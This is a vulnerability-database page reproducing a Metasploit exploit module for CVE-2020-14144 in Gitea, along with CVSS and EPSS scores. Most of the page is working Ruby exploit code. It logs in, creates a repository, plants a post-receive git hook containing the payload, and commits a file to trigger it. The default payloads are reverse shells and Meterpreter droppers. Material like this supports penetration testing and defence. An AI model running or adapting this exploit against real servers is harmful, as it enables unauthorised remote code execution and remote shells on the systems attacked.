Lucene search

K
metasploitPodalirius, Christophe De La FuenteMSF:EXPLOIT-MULTI-HTTP-GITEA_GIT_HOOKS_RCE-
HistoryMar 31, 2021 - 2:47 p.m.

Gitea Git Hooks Remote Code Execution

2021-03-3114:47:29
Podalirius, Christophe De La Fuente
www.rapid7.com
60

7.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

0.972 High

EPSS

Percentile

99.8%

This module leverages an insecure setting to get remote code execution on the target OS in the context of the user running Gitea. This is possible when the current user is allowed to create git hooks, which is the default for administrative users. For non-administrative users, the permission needs to be specifically granted by an administrator. To achieve code execution, the module authenticates to the Gitea web interface, creates a temporary repository, sets a post-receive git hook with the payload and creates a dummy file in the repository. This last action will trigger the git hook and execute the payload. Everything is done through the web interface. It has been mitigated in version 1.13.0 by setting the Gitea DISABLE_GIT_HOOKS configuration setting to true by default. This disables this feature and prevents all users (including admin) from creating custom git hooks. This module has been tested successfully against docker versions 1.12.5, 1.12.6 and 1.13.6 with DISABLE_GIT_HOOKS set to false, and on version 1.12.6 on Windows.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Gitea Git Hooks Remote Code Execution',
        'Description' => %q{
          This module leverages an insecure setting to get remote code
          execution on the target OS in the context of the user running Gitea.
          This is possible when the current user is allowed to create `git
          hooks`, which is the default for administrative users. For
          non-administrative users, the permission needs to be specifically
          granted by an administrator.

          To achieve code execution, the module authenticates to the Gitea web
          interface, creates a temporary repository, sets a `post-receive` git
          hook with the payload and creates a dummy file in the repository.
          This last action will trigger the git hook and execute the payload.
          Everything is done through the web interface.

          It has been mitigated in version 1.13.0 by setting the Gitea
          `DISABLE_GIT_HOOKS` configuration setting to `true` by default. This
          disables this feature and prevents all users (including admin) from
          creating custom git hooks.

          This module has been tested successfully against docker versions 1.12.5,
          1.12.6 and 1.13.6 with `DISABLE_GIT_HOOKS` set to `false`, and on
          version 1.12.6 on Windows.
        },
        'Author' => [
          'Podalirius',             # Original PoC
          'Christophe De La Fuente' # MSF Module
        ],
        'References' => [
          ['CVE', '2020-14144'],
          ['EDB', '49571'],
          ['URL', 'https://podalirius.net/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/'],
          ['URL', 'https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1126-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/']
        ],
        'DisclosureDate' => '2020-10-07',
        'License' => MSF_LICENSE,
        'Platform' => %w[unix linux win],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => :bourne,
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            }
          ],
          [
            'Windows Dropper',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :win_dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ],
        ],
        'DefaultOptions' => { 'WfsDelay' => 30 },
        'DefaultTarget' => 1,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      Opt::RPORT(3000),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('USERNAME', [true, 'Username to authenticate with']),
      OptString.new('PASSWORD', [true, 'Password to use']),
    ])

    @need_cleanup = false
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path),
      'keep_cookies' => true
    )
    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    # Powered by Gitea Version: 1.12.5
    unless (match = res.body.match(/Gitea Version: (?<version>[\da-zA-Z.]+)/))
      return CheckCode::Unknown('Target does not appear to be running Gitea.')
    end

    if match[:version].match(/[a-zA-Z]/)
      return CheckCode::Unknown("Unknown Gitea version #{match[:version]}.")
    end

    if Rex::Version.new(match[:version]) >= Rex::Version.new('1.13.0')
      print_warning(
        'This version of Gitea has the "DISABLE_GIT_HOOKS" option set to true '\
        'by default. This prevents all users (including admin) from creating '\
        'custom git hooks. This exploit might not work if this option is still '\
        'set to the default value.'
      )
    end
    CheckCode::Appears("Gitea version is #{match[:version]}")
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    print_status("Authenticate with \"#{datastore['USERNAME']}/#{datastore['PASSWORD']}\"")
    gitea_login
    print_good('Logged in')

    @repo_name = [Faker::App.name, Faker::App.name].join('_').gsub(' ', '_')
    print_status("Create repository \"#{@repo_name}\"")
    gitea_create_repo
    @need_cleanup = true
    print_good('Repository created')

    case target['Type']
    when :unix_cmd, :win_cmd
      execute_command(payload.encoded)
    when :linux_dropper, :win_dropper
      execute_cmdstager(background: true, delay: 1)
    end
  end

  def execute_command(cmd, _opts = {})
    vprint_status("Executing command: #{cmd}")

    print_status('Setup post-receive hook with command')
    gitea_post_receive_hook(cmd)
    print_good('Git hook setup')

    print_status('Create a dummy file on the repo to trigger the payload')
    last_chunk = cmd_list ? cmd == cmd_list.last : true
    gitea_create_file(last_chunk: last_chunk)
    print_good("File created#{', shell incoming...' if last_chunk}")
  end

  def http_post_request(uri, opts = {})
    csrf = opts.delete(:csrf) || get_csrf(uri)
    timeout = opts.delete(:timeout) || 20

    post_data = { _csrf: csrf }.merge(opts)
    request_hash = {
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI'], uri),
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => post_data
    }

    send_request_cgi(request_hash, timeout)
  end

  def get_csrf(uri)
    vprint_status('Get "csrf" value')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(uri),
      'keep_cookies' => true
    )
    unless res
      fail_with(Failure::Unreachable, 'Unable to get the CSRF token')
    end

    csrf = extract_value(res, '_csrf')
    vprint_good("csrf=#{csrf}")
    csrf
  end

  def extract_value(res, attr)
    # <input type="hidden" name="_csrf" value="Ix7E3_U_lOt-kZfeMjEll57hZuU6MTYxNzAyMzQwOTEzMjU1MDUwMA">
    # <input type="hidden" id="uid" name="uid" value="2" required>
    # <input type="hidden" name="last_commit" value="6a7eb84e9a8e4e76a93ea3aec67b2f70fe2518d2">
    unless (match = res.body.match(/<input .*name="#{attr}" +value="(?<value>[^"]+)".*>/))
      return fail_with(Failure::NotFound, "\"#{attr}\" not found in response")
    end

    return match[:value]
  end

  def gitea_login
    res = http_post_request(
      '/user/login',
      user_name: datastore['USERNAME'],
      password: datastore['PASSWORD']
    )
    unless res
      fail_with(Failure::Unreachable, 'Unable to reach the login page')
    end

    unless res.code == 302
      fail_with(Failure::NoAccess, 'Login failed')
    end

    nil
  end

  def gitea_create_repo
    uri = normalize_uri(datastore['TARGETURI'], '/repo/create')

    res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => true)
    unless res
      fail_with(Failure::Unreachable, "Unable to reach #{uri}")
    end

    vprint_status('Get "csrf" and "uid" values')
    csrf = extract_value(res, '_csrf')
    vprint_good("csrf=#{csrf}")
    uid = extract_value(res, 'uid')
    vprint_good("uid=#{uid}")

    res = http_post_request(
      uri,
      uid: uid,
      repo_name: @repo_name,
      private: 'on',
      description: '',
      repo_template: '',
      issue_labels: '',
      gitignores: '',
      license: '',
      readme: 'Default',
      auto_init: 'on',
      default_branch: 'master',
      csrf: csrf
    )
    unless res
      fail_with(Failure::Unreachable, "Unable to reach #{uri}")
    end

    unless res.code == 302
      fail_with(Failure::UnexpectedReply, 'Create repository failure')
    end

    nil
  end

  def gitea_post_receive_hook(cmd)
    uri = normalize_uri(datastore['USERNAME'], @repo_name, '/settings/hooks/git/post-receive')
    shell = <<~SHELL
      #!/bin/bash
      #{cmd}&
      exit 0
    SHELL

    res = http_post_request(uri, content: shell)
    unless res
      fail_with(Failure::Unreachable, "Unable to reach #{uri}")
    end

    unless res.code == 302
      msg = 'Post-receive hook creation failure'
      if res.code == 404
        msg << ' (user is probably not allowed to create Git Hooks)'
      end
      fail_with(Failure::UnexpectedReply, msg)
    end

    nil
  end

  def gitea_create_file(last_chunk: false)
    uri = normalize_uri(datastore['USERNAME'], @repo_name, '/_new/master')
    filename = "#{Rex::Text.rand_text_alpha(4..8)}.txt"

    res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => true)
    unless res
      fail_with(Failure::Unreachable, "Unable to reach #{uri}")
    end

    vprint_status('Get "csrf" and "last_commit" values')
    csrf = extract_value(res, '_csrf')
    vprint_good("csrf=#{csrf}")
    last_commit = extract_value(res, 'last_commit')
    vprint_good("last_commit=#{last_commit}")

    http_post_request(
      uri,
      last_commit: last_commit,
      tree_path: filename,
      content: Rex::Text.rand_text_alpha(1..20),
      commit_summary: '',
      commit_message: '',
      commit_choice: 'direct',
      csrf: csrf,
      timeout: last_chunk ? 0 : 20 # The last one never returns, don't bother waiting
    )
    vprint_status("#{filename} created")

    nil
  end

  def cleanup
    super
    return unless @need_cleanup

    print_status('Cleaning up')
    uri = normalize_uri(datastore['USERNAME'], @repo_name, '/settings')
    res = http_post_request(uri, action: 'delete', repo_name: @repo_name)

    unless res
      fail_with(Failure::Unreachable, 'Unable to reach the settings page')
    end

    unless res.code == 302
      fail_with(Failure::UnexpectedReply, 'Delete repository failure')
    end

    print_status("Repository #{@repo_name} deleted.")

    nil
  end
end

7.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

0.972 High

EPSS

Percentile

99.8%